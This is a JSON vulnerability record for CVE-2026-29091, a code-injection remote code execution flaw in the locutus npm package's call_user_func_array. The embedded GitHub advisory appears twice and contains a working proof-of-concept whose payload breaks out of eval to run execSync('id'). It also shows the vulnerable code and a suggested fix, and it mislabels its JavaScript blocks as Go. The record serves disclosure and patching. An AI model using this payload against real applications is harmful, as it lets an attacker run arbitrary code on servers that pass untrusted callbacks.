{"id":"CVE-2026-29091","aliases":["EUVD-2026-10051","GHSA-fp25-p6mj-qqg6"],"status":"published","title":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00891,"percentile":0.5981,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94","CWE-95"],"published":"2026-03-04T20:19:55Z","modified":"2026-10-28T02:30:59Z","fixes":[{"ecosystem":"npm","package":"locutus","fixed_in":["3.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.39"},{"fixed":"3.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}]}],"products":[{"vendor":"locutus","product":"locutus"},{"vendor":"locutusjs","product":"locutus"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"}],"references":[{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-29091","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445262","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29091.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval","tags":["web"]},{"url":"https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fp25-p6mj-qqg6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29091.json","tags":["advisory"]},{"url":"https://github.com/locutusjs/locutus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-29091","title":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","status":"published","published":"2026-03-06T17:48:10.442Z","modified":"2026-07-15T01:10:38.893Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-95","CWE-94"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-10051","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","status":"published","published":"2026-03-06T17:48:10Z","modified":"2026-07-15T01:10:38Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-fp25-p6mj-qqg6","title":"locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection","description":"### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg \u0026\u0026 msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj \u0026\u0026 typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati","status":"published","published":"2026-03-04T20:19:55Z","modified":"2026-03-06T22:44:26Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-95"],"updated_at":"2026-11-02T14:39:32.329372Z"}],"nvd":[{"id":"CVE-2026-29091","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","status":"published","published":"2026-03-06T18:16:20.257Z","modified":"2026-07-15T02:19:24.163Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-95","CWE-94"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-29091","title":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","status":"published","published":"2026-03-06T17:48:10.442Z","modified":"2026-10-28T02:30:59.835667132Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-95"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"GHSA-fp25-p6mj-qqg6","title":"locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection","description":"### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg \u0026\u0026 msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj \u0026\u0026 typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati","status":"published","published":"2026-03-04T20:19:55Z","modified":"2026-03-06T23:01:20.600467Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-95"],"updated_at":"2026-11-02T15:46:46.760785Z"}]}}